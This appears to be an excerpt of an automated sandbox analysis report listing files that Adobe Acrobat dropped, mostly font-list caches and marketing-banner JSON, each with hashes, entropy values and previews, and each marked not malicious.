Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3252

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3252

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.352410037795038
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFxiH7pYY+FIbRI6XVW7+0Ym8foAvJM3g98kUwPeUkwRe9:YvXKXF8pY5YpW7XjGMbLUkee9
MD5:	C6BEC634B781D7233C8D5735AC4DCCFB
SHA1:	84A039789EA2EEF133BBEFC74598EF63A882089A
SHA-256:	52F440AC11CCC21F153ECC8FEB261817A9520696857C2F56657B1EC593EE8440
SHA-512:	B524A21AF5D5A3F76C3729EC22316E3455FAC5325FBC67E90D65AF32F39A4403129754F5D3E0A06CAE7C3752C2AC5BAACBC6D9DAAEC183B52A34413BBCBA1E6A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bd363f8-8b9b-40dd-9c35-ce8288aa6ab5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704283021,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292043456490175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFxiH7pYY+FIbRI6XVW7+0Ym8foAvJfBoTfXpnrPeUkwRe9:YvXKXF8pY5YpW7XjGWTfXcUkee9
MD5:	10F59D0A4A4606BE282353B174B86E4F
SHA1:	00F22D6BEA719E6A5321E03D936067A2EA9DB981
SHA-256:	3E075D845A83D21BEAB6B61F237822F9FAC7CA10F9D7A2FBEB011797B32FE060
SHA-512:	8897506C31BC786B2436E141191858EB2899FEAA9B82DCC6375135F103CED84D02E7C62F793F169021B86A03DCCAD77B86BDB2566A951BA5282A1B7D9240F3B2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bd363f8-8b9b-40dd-9c35-ce8288aa6ab5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704283021,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.270302951847983
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFxiH7pYY+FIbRI6XVW7+0Ym8foAvJfBD2G6UpnrPeUkwRe9:YvXKXF8pY5YpW7XjGR22cUkee9
MD5:	3019723778670A635DBE06C91FD1CD15
SHA1:	37B57E849B05088CA327891762847C2875055090
SHA-256:	AD511FC7223AEB3FC910D00A01A980801F124824AC0B7341525909FDBABA1442
SHA-512:	F64E122B49CE1856950E6864777CDAEA71A1859F50A3D17FA572325E18556972CC9BA28D5B914CC572FABDC248F406F8E4779FAB02714A961B8D0376C006610E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bd363f8-8b9b-40dd-9c35-ce8288aa6ab5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704283021,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.330918587430652
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFxiH7pYY+FIbRI6XVW7+0Ym8foAvJfPmwrPeUkwRe9:YvXKXF8pY5YpW7XjGH56Ukee9
MD5:	02896ABA4EC3DA5126C195AFA4AC5EC1
SHA1:	1BB45E6C4C7320FBBDBABCD458F9A6490499881B
SHA-256:	4661F3792EA93F3FEF6DF20FB74995DDACC95DB2A6F950CBEBF041DB070620E9
SHA-512:	D4E045386357CAB5A53C8D03E8F7433B413115565127B023DE2C483312BE2AF682CC6D986652A724052D10DE585C7B27D0C1426268C6FCF257389605D7D00923
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bd363f8-8b9b-40dd-9c35-ce8288aa6ab5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704283021,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684648347102141
Encrypted:	false
SSDEEP:	24:Yv6Xv6iX4pLgE9cQx8LennAvzBvkn0RCmK8czOCCS5:YvCX4hgy6SAFv5Ah8cv/5
MD5:	EC3D475639FA299D25581FBD87661F29
SHA1:	5EBC9C37C636AF552EDB7E2E9A5BF6740003CDB1
SHA-256:	9FE5864A0BC1657F86126560A342EC0CB9C457E63DF1C6BA86F27D31D3F35CBA
SHA-512:	640C20411AFE29D03161954BEABC0368A68FB64A46C1C1C5D7CEE05CEA1080E65BEF8F1ABDC90A0EBE7DAA574F6E4241C176DCD474E3CC497FA58320E14CA3F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bd363f8-8b9b-40dd-9c35-ce8288aa6ab5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704283021,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.274453412542074
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFxiH7pYY+FIbRI6XVW7+0Ym8foAvJf8dPeUkwRe9:YvXKXF8pY5YpW7XjGU8Ukee9
MD5:	2B3FE2A611859ABE3F089C5B82AFBF73
SHA1:	FD505198F40FF064834A1BF26569A6963BB9D9BD
SHA-256:	39D7AFDF3B1A0D630C112AC6F8909B97399712C00BBCA6685CA6C73085968AE6
SHA-512:	B3A6418B8EC9665D425E3C33F6BA097E6C74889BF66E18329C8BF335B5A67161A15A8E8B527D0347A5EEC0225A0BB209B81007A389A164AB64727CD09F797AD6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bd363f8-8b9b-40dd-9c35-ce8288aa6ab5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704283021,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.276270875690384
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFxiH7pYY+FIbRI6XVW7+0Ym8foAvJfQ1rPeUkwRe9:YvXKXF8pY5YpW7XjGY16Ukee9
MD5:	85080FB5135B8D5B6F82BAC55D7BEE53
SHA1:	0C97D12FF02C45C1EB8EF197206449D4F8F7E00D
SHA-256:	2EC926845A678751C5050D7E265AA4B0AF04315097022FBC483F9D8F5FBA4AB0
SHA-512:	E1549DD4A8BAA09AE2E220AB03A268D37EF43D0239B1905AD8E77B8091F2D68F6FC527BF20F52FC3C8D7FF3E9DF406DD35C74E0D0C6A56A8E1FDDA362F172585
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bd363f8-8b9b-40dd-9c35-ce8288aa6ab5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704283021,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29413457235214
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFxiH7pYY+FIbRI6XVW7+0Ym8foAvJfFldPeUkwRe9:YvXKXF8pY5YpW7XjGz8Ukee9
MD5:	60FE36BE07B371C280CAE7A9687676E7
SHA1:	A6C05FDF8CB6FDE0412F9F4997BD8BBFD73E4F95
SHA-256:	AAAB4D0F0394BD97D990FA69CFDF80282413DCCECDCF718C72D78EACE2128C0B
SHA-512:	21BC4D38C1FB00505EB050289B72BB9171FEB7B3DCE7CA0DC5737983DF900FFABDAFFCB8B9514FC04B16EA08BB424EDC2197C5B111D5A8E00DA7AD517AEBEB2B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bd363f8-8b9b-40dd-9c35-ce8288aa6ab5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704283021,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.302155446746959
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFxiH7pYY+FIbRI6XVW7+0Ym8foAvJfzdPeUkwRe9:YvXKXF8pY5YpW7XjGb8Ukee9
MD5:	17A1E50B2A12ECCA00779FE83565DE60
SHA1:	6B90C6477B9419505CA09D2EC4E8DADB1884F80E
SHA-256:	1CEF7FF1309D7850E4212894CB5DBE8E8C7DC3456EC24C99F50260A66F3DED14
SHA-512:	F7F781D9ED007F16F3E4192DBF1F1112BF48E54C8FB3BCA65E866C880D43584BC964B429598032FFC31D9B70D86CD9280F9BA2C0A8E6C10BE4069A69BEC63353
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bd363f8-8b9b-40dd-9c35-ce8288aa6ab5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704283021,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282719403914179
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFxiH7pYY+FIbRI6XVW7+0Ym8foAvJfYdPeUkwRe9:YvXKXF8pY5YpW7XjGg8Ukee9
MD5:	693107D81BC5F75195C5BD12B80D36B7
SHA1:	BFB3B0B70835B6D85339CCAE77E32EB25569103F
SHA-256:	76F9E72C8B18AEC9FA767F0B1F9D0D089DC9BCDC2D9A4EEE445D1F26D37C3149
SHA-512:	4933772D898E4955130E767CFC90A355B688CBDD9A5A70A941429A5F1F62A71D14A416318F967115075199A2FAEF7F54278AA08724932A99A0EBCA2379DFD948
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bd363f8-8b9b-40dd-9c35-ce8288aa6ab5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704283021,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.268465540890471
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFxiH7pYY+FIbRI6XVW7+0Ym8foAvJf+dPeUkwRe9:YvXKXF8pY5YpW7XjG28Ukee9
MD5:	4A5C5C7D5E94A6619666EEB57A935FA8
SHA1:	0B546138171857C7BD077AB52FBFB0D9F60534D9
SHA-256:	64A200644BCBD66D44795A0750E3244120FA325FDD084E6E746D0C898E262C45
SHA-512:	E2406F9209C60CC18D2F769D5D19A2CD7873F5A714854BC1B19B8B5E4361F5A8BEEEF1C356AE1271B0438C521E5B94B8B4DD754A7F167D354FCB26A666B9A4F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bd363f8-8b9b-40dd-9c35-ce8288aa6ab5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704283021,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.26638526857145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFxiH7pYY+FIbRI6XVW7+0Ym8foAvJfbPtdPeUkwRe9:YvXKXF8pY5YpW7XjGDV8Ukee9
MD5:	06D7198A29978A0DB9A046AD460A2636
SHA1:	EBC4B5FD545507B0D654989EE54CA77E4B85D81E
SHA-256:	4DCC853CEC6909C991FF94EC33B04053CBCA9E870D7CDB79F99E47F26F36E57A
SHA-512:	3455BA9C5FC04073E799B2C600F6A280534D834E174DB53E8BCA393D5551B51498687314CF9A793051BA458F342E84973E9E1875F9D68D7DFEC40F16A7F3F222
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bd363f8-8b9b-40dd-9c35-ce8288aa6ab5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704283021,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.268115164185957
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFxiH7pYY+FIbRI6XVW7+0Ym8foAvJf21rPeUkwRe9:YvXKXF8pY5YpW7XjG+16Ukee9
MD5:	5C4547F0AF99D5E87A705DC67FFBC3C9
SHA1:	B3DF207DE0F6E55BD25CC2F2AC01A3CAC0798715
SHA-256:	0F440F55CAC38197C13E917D7F1C778A515E58AE130EDCDC56F189B3EDFBE2FA
SHA-512:	BB1F9B985478BFA62D64A5FFB676F2C80C12A8712596FDD7EC3A34526E9758C00B4C1BAD205EAED54A3D1AB6004DCFA8A0A0B1401A66AD4E333C21873BAB7A6E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"2bd363f8-8b9b-40dd-9c35-ce8288aa6ab5","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736704283021,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.657350587748357
Encrypted:	false
SSDEEP:	24:Yv6Xv6iXMamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS5:YvCXqBgkDMUJUAh8cvM5
MD5:	7044674C262EEF6D62DA98EC519D0588
SHA1:	8350DFD8D302CA9357B9188564D0E12CCAD11FF9
SHA-256:	49F2A16584B17D63122E432A2B0C7E50183470DF6A04F7C4412FB509D27DD4AD
SHA-512:	9C7EA1FBB9EBA8A5449777E88E2B98AEEDEB6FA73336293C6E156D9E4B8A321FC18B040BDD60A45BA2F3BBD0B8F66D5DC263D6AB84689AEF080E5DD580AB7979
Malicious:	false
